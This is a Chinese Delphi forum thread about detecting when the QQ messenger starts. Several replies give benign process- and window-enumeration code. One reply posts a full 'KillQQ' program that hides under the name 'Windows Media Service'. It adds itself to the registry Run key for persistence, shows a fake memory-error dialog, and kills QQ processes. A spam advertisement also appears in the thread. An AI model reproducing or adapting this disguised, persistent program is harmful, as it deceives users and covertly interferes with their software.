请问:如何监视系统,知道用户打开了QQ?(100分)

  • 主题发起人 主题发起人 chen_jin
  • 开始时间 开始时间
C

chen_jin

Unregistered / Unconfirmed
GUEST, unregistred user!
是监视系统新建进程吗?请指教!
 
给你一个参考:<br><br>function FindTask(ExeFileName: string): Integer;<br>const<br> &nbsp;PROCESS_TERMINATE = $0001;<br>var<br> &nbsp;ContinueLoop: BOOL;<br> &nbsp;FSnapshotHandle: THandle;<br> &nbsp;FProcessEntry32: TProcessEntry32;<br>begin<br> &nbsp;Result := 0;<br> &nbsp;FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);<br> &nbsp;FProcessEntry32.dwSize := SizeOf(FProcessEntry32);<br> &nbsp;ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);<br> &nbsp;while Integer(ContinueLoop) &lt;&gt; 0 do<br> &nbsp;begin<br> &nbsp; &nbsp;if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName)) or<br> &nbsp; &nbsp; &nbsp; &nbsp;(UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then<br> &nbsp; &nbsp; &nbsp; &nbsp;Result := 1;<br> &nbsp; &nbsp; &nbsp; &nbsp;ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);<br> &nbsp; &nbsp;end;<br> &nbsp;CloseHandle(FSnapshotHandle);<br>end;<br><br>QQ的进程名就是“QQ.EXE”,调用的时候findTask('qq.exe').<br>FindTask返回值为1就说明找到QQ.EXE进程了.
 
谢谢redneck,可能我没说明白。<br>我想做一个监视系统的程序,当用户在系统中打开QQ时,我的程序该如何知道。也就是您上面的代码,应在何时调用?系统新建进程?系统新建窗口?<br>我刚学Delphi,最好给出代码,多谢了!!!
 
简单点,用一个TIMER监视就可以。你看下面这个东西是不是你想要的:<br>(注意uses里面多加一个Tlhelp32)<br>Timer的interval设置成1000;每秒钟检测一次QQ.EXE是否存在:<br><br>unit Unit1;<br><br>interface<br><br>uses<br> &nbsp;Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<br> &nbsp;Dialogs, ExtCtrls,Tlhelp32;<br><br>type<br> &nbsp;TForm1 = class(TForm)<br> &nbsp; &nbsp;Timer1: TTimer;<br> &nbsp; &nbsp;procedure Timer1Timer(Sender: TObject);<br> &nbsp;private<br> &nbsp; &nbsp;{ Private declarations }<br> &nbsp;public<br> &nbsp; &nbsp;{ Public declarations }<br> &nbsp;end;<br><br>var<br> &nbsp;Form1: TForm1;<br><br>implementation<br><br>{$R *.dfm}<br><br>function FindTask(ExeFileName: string): Integer;<br>const<br> &nbsp;PROCESS_TERMINATE = $0001;<br>var<br> &nbsp;ContinueLoop: BOOL;<br> &nbsp;FSnapshotHandle: THandle;<br> &nbsp;FProcessEntry32: TProcessEntry32;<br>begin<br> &nbsp;Result := 0;<br> &nbsp;FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);<br> &nbsp;FProcessEntry32.dwSize := SizeOf(FProcessEntry32);<br> &nbsp;ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);<br> &nbsp;while Integer(ContinueLoop) &lt;&gt; 0 do<br> &nbsp;begin<br> &nbsp; &nbsp;if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName)) or<br> &nbsp; &nbsp; &nbsp; &nbsp;(UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then<br> &nbsp; &nbsp; &nbsp; &nbsp;Result := 1;<br> &nbsp; &nbsp; &nbsp; &nbsp;ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);<br> &nbsp; &nbsp;end;<br> &nbsp;CloseHandle(FSnapshotHandle);<br>end;<br><br>procedure TForm1.Timer1Timer(Sender: TObject);<br>var<br> &nbsp;i:integer;<br>begin<br> &nbsp;i:=findtask('qq.exe');<br> &nbsp;if i=1 then showmessage('find qq.exe');<br>end;<br>end.
 
有点像virus<br>program KillQQ;<br><br>uses<br> &nbsp;Windows;<br><br>var<br> &nbsp;Thread: Thandle = 0;<br> &nbsp;ThreadID: DWORD;<br> &nbsp;IsExit: BOOL = False;<br> &nbsp;MSG: TMSG;<br> &nbsp;HH: HKEY;<br> &nbsp;ExeName: array[0..255] of Char; &nbsp;<br>const<br> &nbsp;AClssList: array[0..2] of array[0..255] of Char = ('Tencent_QQBar', 'Tencent_AddrBar', 'Tencent_AddrToolBar');<br><br><br>function WriteKey(PhkResult: HKEY; IpSubKey, aKeyName, IpValue: LPSTR): Boolean;<br>function IsRelative(const Value: string): Boolean;<br>begin<br> &nbsp;Result := not ((Value &lt;&gt; '') and (Value[1] = '/'));<br>end;<br>var<br> &nbsp;Disposition: Integer;<br> &nbsp;Relative: Boolean;<br> &nbsp;S: string;<br>//Example: WriteKey(HKEY_LOCAL_MACHINE, 'SOFTWARE/Microsoft/Windows/CurrentVersion/Run', pchar(shortName), Pchar(exeName));<br>begin<br> &nbsp;Result := false;<br> &nbsp;S := IpSubKey;<br> &nbsp;Relative := IsRelative(IpSubKey);<br> &nbsp;if not Relative then<br> &nbsp; &nbsp;Delete(S, 1, 1);<br> &nbsp;IpSubKey := pchar(S);<br> &nbsp;if RegOpenKey(PhkResult, PChar(IpSubKey), HH) &lt;&gt; ERROR_SUCCESS then<br> &nbsp; &nbsp;if RegCreateKeyEx(PhkResult, Pchar(IpSubKey), 0, nil,<br> &nbsp; &nbsp; &nbsp;REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nil, HH, @Disposition) &lt;&gt; ERROR_SUCCESS then<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;//MsgBox('Open registry error!', MB_OK);<br> &nbsp; &nbsp; &nbsp;if PhkResult &lt;&gt; 0 then<br> &nbsp; &nbsp; &nbsp; &nbsp;RegCloseKey(PhkResult);<br> &nbsp; &nbsp; &nbsp;exit;<br> &nbsp; &nbsp;end;<br> &nbsp;Result := RegSetValueEx(HH, PChar(aKeyName), 0, 1, PChar(IpValue), lstrlen(IpValue)) = ERROR_SUCCESS;<br> &nbsp; &nbsp;//MsgBox('Registry SetValue error!', MB_OK);<br><br> &nbsp;if PhkResult &lt;&gt; 0 then<br> &nbsp; &nbsp;RegCloseKey(PhkResult)<br>end;<br> &nbsp;<br>procedure FormatChar(output: PChar; format: PChar; arglist: array of Integer);<br>begin<br> &nbsp;Windows.wvsprintf(Output, format, @arglist[Low(arglist)])<br>end;<br><br>function KillProcFromHwnd(const Hwnd: HWND): BOOL;<br>var<br> &nbsp;PID: DWORD;<br> &nbsp;Text: array[0..1024] of Char;<br>begin<br> &nbsp;if Windows.IsWindow(Hwnd) then begin<br> &nbsp; &nbsp;GetWindowThreadProcessId(Hwnd, @PID);<br> &nbsp; &nbsp;FormatChar(Text,<br> &nbsp; &nbsp;'程序阅读内存:$%8.8x 错误,请重新启动程序。'#13#10'错误地址:$%8.8X。'#13#10'进程地址:$%8.8X。'#13#10'按[确定]终止程序,按[取消]调试程序。',<br> &nbsp; &nbsp;[Hwnd + 255, Hwnd, PID]);<br> &nbsp; &nbsp;Windows.MessageBox(Hwnd, Text, 'QQ', MB_OKCANCEL + MB_ICONHAND);<br> &nbsp; &nbsp;Result := TerminateProcess(OpenProcess(PROCESS_TERMINATE, False, PID), 0);<br> &nbsp;end else<br> &nbsp;Result := False;<br>end;<br><br>function CheckClassName(const ClassName: PChar): BOOL;<br>var<br> &nbsp;I: Integer;<br>begin<br> &nbsp;Result := False;<br> &nbsp;for I := Low(AClssList) to High(AClssList) do<br> &nbsp; &nbsp;if lstrcmp(AClssList, ClassName) = 0 then<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;Result := True;<br> &nbsp; &nbsp; &nbsp;Break;<br> &nbsp; &nbsp;end;<br>end;<br><br>procedure ThreadProc; stdcall;<br>var<br> &nbsp;H: HWND;<br> &nbsp;P: TPoint;<br> &nbsp;Cname: array[0..255] of Char;<br>begin<br> &nbsp;repeat<br> &nbsp; &nbsp;Windows.Sleep(100);<br> &nbsp; &nbsp;H := FindWindow(nil, 'QQ用户登录');<br> &nbsp; &nbsp;if H &lt;&gt; 0 then<br> &nbsp; &nbsp; &nbsp;KillProcFromHwnd(H);<br> &nbsp; &nbsp;GetCursorPos(P);<br> &nbsp; &nbsp;H := Windows.WindowFromPoint(P);<br> &nbsp; &nbsp;if H &lt;&gt; 0 then begin<br> &nbsp; &nbsp; &nbsp;FillChar(Cname, SizeOf(Cname), #0);<br> &nbsp; &nbsp; &nbsp;Windows.GetClassName(H, Cname, SizeOf(Cname));<br> &nbsp; &nbsp; &nbsp;if CheckClassName(Cname) then<br> &nbsp; &nbsp; &nbsp; &nbsp;KillProcFromHwnd(H);<br> &nbsp; &nbsp;end;<br> &nbsp;until IsExit;<br>end;<br><br>procedure ThreadProcA; stdcall;<br>var<br> &nbsp;H: HWND;<br>begin<br> &nbsp;repeat<br> &nbsp; &nbsp;Windows.Sleep(1000 * 60);<br> &nbsp; &nbsp;H := FindWindow(nil, 'QQ');<br> &nbsp; &nbsp;if H &lt;&gt; 0 then<br> &nbsp; &nbsp; &nbsp;Windows.SendMessage(H, $0010, 0, 0);<br> &nbsp;until IsExit;<br>end;<br><br>var<br> &nbsp;Mutex: DWORD;<br>begin<br> &nbsp;Mutex := Windows.OpenMutex(MUTEX_ALL_ACCESS, False, 'WindowsMediaService');<br> &nbsp;if Mutex &lt;&gt; 0 then Halt;<br> &nbsp;Windows.CreateMutex(nil, False, 'WindowsMediaService');<br> &nbsp;lstrcpy(ExeName, PChar(ParamStr(0)));<br> &nbsp;WriteKey(HKEY_LOCAL_MACHINE, 'SOFTWARE/Microsoft/Windows/CurrentVersion/Run', 'Windows Media Service', ExeName);<br> &nbsp;Thread := Windows.CreateThread(nil, 0, @ThreadProc, nil, 0, ThreadID);<br> &nbsp;Windows.CreateThread(nil, 0, @ThreadProcA, nil, 0, ThreadID);<br> &nbsp;while GetMessage(Msg, 0, 0, 0) do;<br> &nbsp;IsExit := True;<br> &nbsp;if Thread &lt;&gt; 0 then begin<br> &nbsp; &nbsp;Windows.TerminateThread(Thread, 0);<br> &nbsp; &nbsp;CloseHandle(Thread);<br> &nbsp; &nbsp;Thread := 0;<br> &nbsp;end;<br> &nbsp;{ TODO -oUser -cConsole Main : Insert code here }<br>end.
 
jfyes,多谢了!<br>以后,还请多指教!
 
最好的方法是把CreateProcess给hook了,这样在qq主程序启动前就可以搞定qq了,如何hook api现在很多代码
 
取QQ.exe进程名可能不行,如果QQ.exe改成其他名就不行,最好是查出QQ特征码进行过滤。
 
代码很简单,可以用!<br>unit Unit1;<br><br>interface<br><br>uses<br> &nbsp;Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<br> &nbsp;Dialogs, StdCtrls, ExtCtrls;<br><br>type<br> &nbsp;TForm1 = class(TForm)<br> &nbsp; &nbsp;Timer1: TTimer;<br> &nbsp; &nbsp;Button4: TButton;<br> &nbsp; &nbsp;procedure Button4Click(Sender: TObject);<br> &nbsp;private<br> &nbsp; &nbsp;{ Private declarations }<br> &nbsp;public<br> &nbsp; &nbsp;{ Public declarations }<br> &nbsp;end;<br><br>var<br> &nbsp;Form1: TForm1;<br><br>implementation<br><br>{$R *.dfm}<br><br>function GetQQ:hwnd;<br>var<br> &nbsp;QQhwnd:hwnd;<br> &nbsp;szclass:array[0..254]of char;<br>begin<br> &nbsp;QQhwnd:=GetWindow(Application.Handle,GW_HWNDFIRST);<br> &nbsp;while QQhwnd&lt;&gt;0 do<br> &nbsp;begin<br> &nbsp; &nbsp;GetClassName(QQhwnd,@szclass,255);<br> &nbsp; &nbsp;if StrPas(@szclass)='#32770' then<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;if FindWindowEx(QQhwnd,0,'Tencent_QQToolBar',nil)&gt;0 then<br> &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp;Result:=QQhwnd;<br> &nbsp; &nbsp; &nbsp; &nbsp;exit;<br> &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp;end;<br> &nbsp;QQhwnd:=GetWindow(QQhwnd,GW_HWNDNEXT);<br> &nbsp;end;<br> &nbsp;Result:=0;<br>end;<br><br><br>procedure TForm1.Button4Click(Sender: TObject);<br>begin<br>if GetQQ=0 then exit;<br>Application.MessageBox('QQ is Run!!','QQ',MB_OK+MB_ICONINFORMATION);<br>end;<br><br>end.
 
帮顶!<br><br>╭=========================================╮<br><br> &nbsp; 80G海量源代码,控件,书籍全免费狂下不停!<br><br> &nbsp; http://www.source520.com<br> &nbsp; <br>╰=========================================╯
 
还是用HOOKAPI吧,拦截CreatePorcess,因为系统运行程序基本都是调用这个函数的。<br>具体看这个:<br>http://www.delphibbs.com/delphibbs/dispq.asp?lid=3319981
 

Similar threads

D
回复
0
查看
2K
DelphiTeacher的专栏
D
S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
后退
顶部